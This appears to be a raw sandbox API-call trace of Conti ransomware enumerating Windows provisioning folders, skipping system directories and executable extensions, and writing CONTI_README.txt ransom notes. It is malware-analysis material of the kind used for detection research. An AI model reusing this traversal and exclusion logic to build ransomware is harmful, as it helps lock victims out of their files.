	[0106.550] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.550] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.551] FindNextFileW (in: hFindFile=0x17c85f0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fa1af1, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1
	[0106.551] lstrcmpiW (lpString1="0__Power_EnergyEstimationEngine.provxml", lpString2=".") returned 1
	[0106.551] lstrcmpiW (lpString1="0__Power_EnergyEstimationEngine.provxml", lpString2="..") returned 1
	[0106.551] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".CONTI") returned 0x0
	[0106.551] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.551] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".exe") returned 0x0
	[0106.551] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".dll") returned 0x0
	[0106.551] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".lnk") returned 0x0
	[0106.551] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".sys") returned 0x0
	[0106.551] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch=".CONTI") returned 0x0
	[0106.551] StrStrIW (lpFirst="0__Power_EnergyEstimationEngine.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.551] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime") returned 89
	[0106.551] lstrlenW (lpString="0__Power_EnergyEstimationEngine.provxml") returned 39
	[0106.551] GetProcessHeap () returned 0x1720000
	[0106.551] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x104) returned 0x181e028
	[0106.551] lstrcpyW (in: lpString1=0x181e028, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime"
	[0106.551] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\"
	[0106.551] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\", lpString2="0__Power_EnergyEstimationEngine.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml"
	[0106.551] FindNextFileW (in: hFindFile=0x17c85f0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5359f3dd, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x5359f3dd, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x5359f3dd, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.551] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.551] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.551] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.551] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.551] FindNextFileW (in: hFindFile=0x17c85f0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5359f3dd, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x5359f3dd, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x5359f3dd, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0106.551] GetProcessHeap () returned 0x1720000
	[0106.551] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0106.551] FindClose (in: hFindFile=0x17c85f0 | out: hFindFile=0x17c85f0) returned 1
	[0106.551] GetProcessHeap () returned 0x1720000
	[0106.551] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c6c78 | out: hHeap=0x1720000) returned 1
	[0106.551] FindNextFileW (in: hFindFile=0x17c7f30, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fc7d5e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0106.551] lstrcmpiW (lpString1="RunTime.xml", lpString2=".") returned 1
	[0106.551] lstrcmpiW (lpString1="RunTime.xml", lpString2="..") returned 1
	[0106.552] StrStrIW (lpFirst="RunTime.xml", lpSrch=".CONTI") returned 0x0
	[0106.552] StrStrIW (lpFirst="RunTime.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.552] StrStrIW (lpFirst="RunTime.xml", lpSrch=".exe") returned 0x0
	[0106.552] StrStrIW (lpFirst="RunTime.xml", lpSrch=".dll") returned 0x0
	[0106.552] StrStrIW (lpFirst="RunTime.xml", lpSrch=".lnk") returned 0x0
	[0106.552] StrStrIW (lpFirst="RunTime.xml", lpSrch=".sys") returned 0x0
	[0106.552] StrStrIW (lpFirst="RunTime.xml", lpSrch=".CONTI") returned 0x0
	[0106.552] StrStrIW (lpFirst="RunTime.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.552] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov") returned 81
	[0106.552] lstrlenW (lpString="RunTime.xml") returned 11
	[0106.552] GetProcessHeap () returned 0x1720000
	[0106.552] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbc) returned 0x6510e88
	[0106.552] lstrcpyW (in: lpString1=0x6510e88, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov"
	[0106.552] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\"
	[0106.552] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\", lpString2="RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml"
	[0106.552] FindNextFileW (in: hFindFile=0x17c7f30, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fc7d5e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime.xml", cAlternateFileName="")) returned 0
	[0106.552] GetProcessHeap () returned 0x1720000
	[0106.552] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6587ca0 | out: hHeap=0x1720000) returned 1
	[0106.552] FindClose (in: hFindFile=0x17c7f30 | out: hFindFile=0x17c7f30) returned 1
	[0106.552] GetProcessHeap () returned 0x1720000
	[0106.552] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732cc0 | out: hHeap=0x1720000) returned 1
	[0106.552] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Prov", cAlternateFileName="")) returned 0
	[0106.552] GetProcessHeap () returned 0x1720000
	[0106.552] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173ef48 | out: hHeap=0x1720000) returned 1
	[0106.552] FindClose (in: hFindFile=0x17c8470 | out: hFindFile=0x17c8470) returned 1
	[0106.552] GetProcessHeap () returned 0x1720000
	[0106.552] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173ed50 | out: hHeap=0x1720000) returned 1
	[0106.552] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="{99b095d8-5959-4820-bea7-7448c8427b4e}", cAlternateFileName="{99B09~1")) returned 1
	[0106.552] lstrcmpiW (lpString1="{99b095d8-5959-4820-bea7-7448c8427b4e}", lpString2=".") returned 1
	[0106.553] lstrcmpiW (lpString1="{99b095d8-5959-4820-bea7-7448c8427b4e}", lpString2="..") returned 1
	[0106.553] lstrcmpiW (lpString1="{99b095d8-5959-4820-bea7-7448c8427b4e}", lpString2="tmp") returned -1
	[0106.553] lstrcmpiW (lpString1="{99b095d8-5959-4820-bea7-7448c8427b4e}", lpString2="winnt") returned -1
	[0106.553] lstrcmpiW (lpString1="{99b095d8-5959-4820-bea7-7448c8427b4e}", lpString2="Application Data") returned -1
	[0106.553] lstrcmpiW (lpString1="{99b095d8-5959-4820-bea7-7448c8427b4e}", lpString2="AppData") returned -1
	[0106.553] lstrcmpiW (lpString1="{99b095d8-5959-4820-bea7-7448c8427b4e}", lpString2="temp") returned -1
	[0106.553] lstrcmpiW (lpString1="{99b095d8-5959-4820-bea7-7448c8427b4e}", lpString2="thumb") returned -1
	[0106.553] lstrcmpiW (lpString1="{99b095d8-5959-4820-bea7-7448c8427b4e}", lpString2="$Recycle.Bin") returned 1
	[0106.553] lstrcmpiW (lpString1="{99b095d8-5959-4820-bea7-7448c8427b4e}", lpString2="$RECYCLE.BIN") returned 1
	[0106.553] lstrcmpiW (lpString1="{99b095d8-5959-4820-bea7-7448c8427b4e}", lpString2="System Volume Information") returned -1
	[0106.553] lstrcmpiW (lpString1="{99b095d8-5959-4820-bea7-7448c8427b4e}", lpString2="Program Files") returned -1
	[0106.553] lstrcmpiW (lpString1="{99b095d8-5959-4820-bea7-7448c8427b4e}", lpString2="Program Files (x86)") returned -1
	[0106.553] lstrcmpiW (lpString1="{99b095d8-5959-4820-bea7-7448c8427b4e}", lpString2="Boot") returned -1
	[0106.553] lstrcmpiW (lpString1="{99b095d8-5959-4820-bea7-7448c8427b4e}", lpString2="Windows") returned -1
	[0106.553] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning") returned 37
	[0106.553] lstrlenW (lpString="{99b095d8-5959-4820-bea7-7448c8427b4e}") returned 38
	[0106.553] GetProcessHeap () returned 0x1720000
	[0106.553] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9a) returned 0x173ed50
	[0106.553] lstrcpyW (in: lpString1=0x173ed50, lpString2="C:\\ProgramData\\Microsoft\\Provisioning" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning") returned="C:\\ProgramData\\Microsoft\\Provisioning"
	[0106.553] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\"
	[0106.553] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\", lpString2="{99b095d8-5959-4820-bea7-7448c8427b4e}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}"
	[0106.553] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}") returned 76
	[0106.553] GetProcessHeap () returned 0x1720000
	[0106.553] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9e) returned 0x173e8b8
	[0106.553] lstrcpyW (in: lpString1=0x173e8b8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}"
	[0106.553] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\*"
	[0106.553] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}") returned 76
	[0106.553] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.553] GetProcessHeap () returned 0x1720000
	[0106.553] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbc) returned 0x65114c8
	[0106.553] lstrcpyW (in: lpString1=0x65114c8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}"
	[0106.553] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\"
	[0106.553] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\CONTI_README.txt"
	[0106.553] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0106.577] GetProcessHeap () returned 0x1720000
	[0106.577] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65114c8 | out: hHeap=0x1720000) returned 1
	[0106.578] WriteFile (in: hFile=0x3a8, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0106.578] CloseHandle (hObject=0x3a8) returned 1
	[0106.578] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x535eb686, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8470
	[0106.579] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.579] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x535eb686, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.579] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.579] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.579] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x535eb686, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x535eb686, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x535eb686, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.579] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.579] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.579] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.579] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.579] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e5b7d8, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e5b7d8, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e5b7d8, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x8c7, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="customizations.xml", cAlternateFileName="")) returned 1
	[0106.579] lstrcmpiW (lpString1="customizations.xml", lpString2=".") returned 1
	[0106.579] lstrcmpiW (lpString1="customizations.xml", lpString2="..") returned 1
	[0106.579] StrStrIW (lpFirst="customizations.xml", lpSrch=".CONTI") returned 0x0
	[0106.579] StrStrIW (lpFirst="customizations.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.579] StrStrIW (lpFirst="customizations.xml", lpSrch=".exe") returned 0x0
	[0106.579] StrStrIW (lpFirst="customizations.xml", lpSrch=".dll") returned 0x0
	[0106.579] StrStrIW (lpFirst="customizations.xml", lpSrch=".lnk") returned 0x0
	[0106.579] StrStrIW (lpFirst="customizations.xml", lpSrch=".sys") returned 0x0
	[0106.579] StrStrIW (lpFirst="customizations.xml", lpSrch=".CONTI") returned 0x0
	[0106.579] StrStrIW (lpFirst="customizations.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.579] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}") returned 76
	[0106.579] lstrlenW (lpString="customizations.xml") returned 18
	[0106.579] GetProcessHeap () returned 0x1720000
	[0106.579] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc0) returned 0x65110e0
	[0106.579] lstrcpyW (in: lpString1=0x65110e0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}"
	[0106.579] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\"
	[0106.579] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\", lpString2="customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\customizations.xml"
	[0106.579] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e0f327, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e0f327, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e0f327, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1
	[0106.579] lstrcmpiW (lpString1="MasterDatastore.xml", lpString2=".") returned 1
	[0106.579] lstrcmpiW (lpString1="MasterDatastore.xml", lpString2="..") returned 1
	[0106.579] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".CONTI") returned 0x0
	[0106.580] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.580] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".exe") returned 0x0
	[0106.580] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".dll") returned 0x0
	[0106.580] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".lnk") returned 0x0
	[0106.580] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".sys") returned 0x0
	[0106.580] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch=".CONTI") returned 0x0
	[0106.580] StrStrIW (lpFirst="MasterDatastore.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.580] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}") returned 76
	[0106.580] lstrlenW (lpString="MasterDatastore.xml") returned 19
	[0106.580] GetProcessHeap () returned 0x1720000
	[0106.580] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc2) returned 0x181d648
	[0106.580] lstrcpyW (in: lpString1=0x181d648, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}"
	[0106.580] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\"
	[0106.580] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\", lpString2="MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml"
	[0106.580] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1854d2, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1854d2, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Prov", cAlternateFileName="")) returned 1
	[0106.580] lstrcmpiW (lpString1="Prov", lpString2=".") returned 1
	[0106.580] lstrcmpiW (lpString1="Prov", lpString2="..") returned 1
	[0106.580] lstrcmpiW (lpString1="Prov", lpString2="tmp") returned -1
	[0106.580] lstrcmpiW (lpString1="Prov", lpString2="winnt") returned -1
	[0106.580] lstrcmpiW (lpString1="Prov", lpString2="Application Data") returned 1
	[0106.580] lstrcmpiW (lpString1="Prov", lpString2="AppData") returned 1
	[0106.580] lstrcmpiW (lpString1="Prov", lpString2="temp") returned -1
	[0106.580] lstrcmpiW (lpString1="Prov", lpString2="thumb") returned -1
	[0106.580] lstrcmpiW (lpString1="Prov", lpString2="$Recycle.Bin") returned 1
